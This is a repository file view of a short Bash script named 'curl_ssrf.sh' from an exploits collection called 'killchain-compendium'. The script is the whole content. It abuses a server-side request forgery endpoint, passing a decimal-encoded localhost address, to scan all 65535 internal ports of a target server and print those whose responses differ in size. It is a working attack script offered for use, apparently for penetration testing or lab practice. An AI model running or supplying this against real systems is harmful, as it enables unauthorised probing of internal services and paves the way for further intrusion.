killchain-compendium/Exploits/Web/Scripts/curl_ssrf.sh

9 lines
243 B
Bash
Raw Normal View History

2022-11-13 22:38:01 +01:00
#!/usr/bin/env bash
for x in {1..65535};
do cmd=$(curl -so /dev/null http://$TARGET_IP:$TARGET_PORT/attack?url=http://2130706433:${x} \
-w '%{size_download}');
if [ $cmd != 1045 ]; then
echo "Open port: $x"
fi
done